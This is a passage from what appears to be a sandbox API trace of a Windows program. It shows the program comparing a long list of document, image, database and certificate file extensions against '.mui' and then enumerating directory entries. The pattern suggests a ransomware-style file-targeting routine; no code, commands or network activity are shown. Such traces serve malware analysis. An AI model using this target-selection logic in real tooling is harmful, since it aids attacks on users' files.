lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0243.860] lstrlenW (lpString=".java") returned 5 [0243.860] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1 [0243.860] lstrlenW (lpString=".jp2") returned 4 [0243.861] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0243.861] lstrlenW (lpString=".jpc") returned 4 [0243.861] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0243.861] lstrlenW (lpString=".jpe") returned 4 [0243.861] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0243.861] lstrlenW (lpString=".jpeg") returned 5 [0243.861] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1 [0243.861] lstrlenW (lpString=".jpf") returned 4 [0243.861] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0243.861] lstrlenW (lpString=".jpg") returned 4 [0243.861] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0243.861] lstrlenW (lpString=".jpx") returned 4 [0243.861] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0243.861] lstrlenW (lpString=".js") returned 3 [0243.861] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0243.861] lstrlenW (lpString=".jsf") returned 4 [0243.861] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0243.861] lstrlenW (lpString=".json") returned 5 [0243.861] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1 [0243.861] lstrlenW (lpString=".jsp") returned 4 [0243.861] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0243.861] lstrlenW (lpString=".kdc") returned 4 [0243.861] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0243.861] lstrlenW (lpString=".kmz") returned 4 [0243.861] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0243.862] lstrlenW (lpString=".kwm") returned 4 [0243.862] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0243.862] lstrlenW (lpString=".lasso") returned 6 [0243.862] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1 [0243.862] lstrlenW (lpString=".lbi") returned 4 [0243.862] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0243.862] lstrlenW (lpString=".lgf") returned 4 [0243.862] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0243.862] lstrlenW (lpString=".lgp") returned 4 [0243.862] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0243.862] lstrlenW (lpString=".log") returned 4 [0243.862] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0243.862] lstrlenW (lpString=".m1v") returned 4 [0243.862] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0243.862] lstrlenW (lpString=".m4a") returned 4 [0243.862] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0243.862] lstrlenW (lpString=".m4v") returned 4 [0243.862] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0243.862] lstrlenW (lpString=".max") returned 4 [0243.862] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0243.862] lstrlenW (lpString=".md") returned 3 [0243.862] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0243.862] lstrlenW (lpString=".mda") returned 4 [0243.862] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0243.862] lstrlenW (lpString=".mdb") returned 4 [0243.862] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0243.863] lstrlenW (lpString=".mde") returned 4 [0243.863] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0243.863] lstrlenW (lpString=".mdf") returned 4 [0243.863] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0243.863] lstrlenW (lpString=".mdw") returned 4 [0243.863] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0243.863] lstrlenW (lpString=".mef") returned 4 [0243.863] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0243.863] lstrlenW (lpString=".mft") returned 4 [0243.863] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0243.863] lstrlenW (lpString=".mfw") returned 4 [0243.863] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0243.863] lstrlenW (lpString=".mht") returned 4 [0243.863] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0243.863] lstrlenW (lpString=".mhtml") returned 6 [0243.863] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1 [0243.863] lstrlenW (lpString=".mka") returned 4 [0243.863] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0243.863] lstrlenW (lpString=".mkidx") returned 6 [0243.863] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1 [0243.863] lstrlenW (lpString=".mkv") returned 4 [0243.863] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0243.863] lstrlenW (lpString=".mos") returned 4 [0243.863] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0243.863] lstrlenW (lpString=".mov") returned 4 [0243.863] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0243.863] lstrlenW (lpString=".mp3") returned 4 [0243.864] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0243.864] lstrlenW (lpString=".mp4") returned 4 [0243.864] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0243.864] lstrlenW (lpString=".mpeg") returned 5 [0243.864] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1 [0243.864] lstrlenW (lpString=".mpg") returned 4 [0243.864] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0243.864] lstrlenW (lpString=".mpv") returned 4 [0243.864] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0243.864] lstrlenW (lpString=".mrw") returned 4 [0243.864] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0243.864] lstrlenW (lpString=".msg") returned 4 [0243.864] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0243.864] lstrlenW (lpString=".mxl") returned 4 [0243.864] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0243.864] lstrlenW (lpString=".myd") returned 4 [0243.867] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0243.867] lstrlenW (lpString=".myi") returned 4 [0243.867] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0243.867] lstrlenW (lpString=".nef") returned 4 [0243.867] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0243.867] lstrlenW (lpString=".nrw") returned 4 [0243.867] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0243.867] lstrlenW (lpString=".obj") returned 4 [0243.868] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0243.868] lstrlenW (lpString=".odb") returned 4 [0243.868] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0243.868] lstrlenW (lpString=".odc") returned 4 [0243.868] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0243.868] lstrlenW (lpString=".odm") returned 4 [0243.868] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0243.868] lstrlenW (lpString=".odp") returned 4 [0243.868] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0243.868] lstrlenW (lpString=".ods") returned 4 [0243.868] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0243.868] lstrlenW (lpString=".oft") returned 4 [0243.868] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0243.868] lstrlenW (lpString=".one") returned 4 [0243.868] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0243.868] lstrlenW (lpString=".onepkg") returned 7 [0243.868] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1 [0243.868] lstrlenW (lpString=".onetoc2") returned 8 [0243.868] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1 [0243.868] lstrlenW (lpString=".opt") returned 4 [0243.868] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0243.868] lstrlenW (lpString=".oqy") returned 4 [0243.868] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0243.868] lstrlenW (lpString=".orf") returned 4 [0243.868] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0243.868] lstrlenW (lpString=".p12") returned 4 [0243.868] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0243.869] lstrlenW (lpString=".p7b") returned 4 [0243.869] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0243.869] lstrlenW (lpString=".p7c") returned 4 [0243.869] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0243.869] lstrlenW (lpString=".pam") returned 4 [0243.869] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0243.869] lstrlenW (lpString=".pbm") returned 4 [0243.869] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0243.869] lstrlenW (lpString=".pct") returned 4 [0243.869] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0243.869] lstrlenW (lpString=".pcx") returned 4 [0243.869] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0243.869] lstrlenW (lpString=".pdd") returned 4 [0243.869] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0243.869] lstrlenW (lpString=".pdf") returned 4 [0243.869] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0243.869] lstrlenW (lpString=".pdp") returned 4 [0243.869] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0243.869] lstrlenW (lpString=".pef") returned 4 [0243.869] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0243.869] lstrlenW (lpString=".pem") returned 4 [0243.869] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0243.869] lstrlenW (lpString=".pff") returned 4 [0243.869] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0243.869] lstrlenW (lpString=".pfm") returned 4 [0243.869] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0243.869] lstrlenW (lpString=".pfx") returned 4 [0243.869] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0243.870] lstrlenW (lpString=".pgm") returned 4 [0243.870] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0243.870] lstrlenW (lpString=".php") returned 4 [0243.870] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0243.870] lstrlenW (lpString=".php3") returned 5 [0243.870] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1 [0243.870] lstrlenW (lpString=".php4") returned 5 [0243.870] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1 [0243.870] lstrlenW (lpString=".php5") returned 5 [0243.870] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1 [0243.870] lstrlenW (lpString=".phtml") returned 6 [0243.870] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1 [0243.870] lstrlenW (lpString=".pict") returned 5 [0243.870] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1 [0243.870] lstrlenW (lpString=".pl") returned 3 [0243.870] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0243.870] lstrlenW (lpString=".pls") returned 4 [0243.870] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0243.870] lstrlenW (lpString=".pm") returned 3 [0243.870] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0243.870] lstrlenW (lpString=".png") returned 4 [0243.870] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0243.870] lstrlenW (lpString=".pnm") returned 4 [0243.870] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0243.870] lstrlenW (lpString=".pot") returned 4 [0243.870] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0243.870] lstrlenW (lpString=".potm") returned 5 [0243.870] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1 [0243.871] lstrlenW (lpString=".potx") returned 5 [0243.871] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1 [0243.871] lstrlenW (lpString=".ppa") returned 4 [0243.871] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0243.871] lstrlenW (lpString=".ppam") returned 5 [0243.871] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1 [0243.871] lstrlenW (lpString=".ppm") returned 4 [0243.871] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0243.871] lstrlenW (lpString=".pps") returned 4 [0243.871] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0243.871] lstrlenW (lpString=".ppsm") returned 5 [0243.871] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1 [0243.871] lstrlenW (lpString=".ppt") returned 4 [0243.871] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0243.872] lstrlenW (lpString=".pptm") returned 5 [0243.872] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1 [0243.872] lstrlenW (lpString=".pptx") returned 5 [0243.872] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1 [0243.872] lstrlenW (lpString=".prn") returned 4 [0243.872] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0243.872] lstrlenW (lpString=".ps") returned 3 [0243.872] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0243.872] lstrlenW (lpString=".psb") returned 4 [0243.872] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0243.872] lstrlenW (lpString=".psd") returned 4 [0243.872] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0243.872] lstrlenW (lpString=".pst") returned 4 [0243.872] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0243.872] lstrlenW (lpString=".ptx") returned 4 [0243.872] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0243.872] lstrlenW (lpString=".pub") returned 4 [0243.872] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0243.872] lstrlenW (lpString=".pwm") returned 4 [0243.872] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0243.872] lstrlenW (lpString=".pxr") returned 4 [0243.872] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0243.872] lstrlenW (lpString=".py") returned 3 [0243.872] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0243.872] lstrlenW (lpString=".qt") returned 3 [0243.872] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0243.872] lstrlenW (lpString=".r3d") returned 4 [0243.872] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0243.873] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.873] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1 [0243.873] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.873] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1 [0243.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.874] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1 [0243.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.874] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1 [0243.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.874] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18ae17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ae17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fcc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipcsecproc.dll", cAlternateFileName="IPCSEC~1.DLL")) returned 1 [0243.875] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.875] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1 [0243.875] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.875] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1 [0243.875] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.875] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1 [0243.876] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.876] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1 [0243.876] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.876] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1 [0243.876] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.876] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ms", cAlternateFileName="")) returned 1 [0243.877] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.877] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b3ce622, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msipc.dll", cAlternateFileName="")) returned 1 [0243.877] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.877] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1 [0243.877] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.877] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl", cAlternateFileName="")) returned 1 [0243.878] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.878] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt", cAlternateFileName="")) returned 1 [0243.878] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.878] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0243.878] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.878] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1 [0243.878] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.878] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1 [0243.879] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.879] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1 [0243.879] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.879] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, 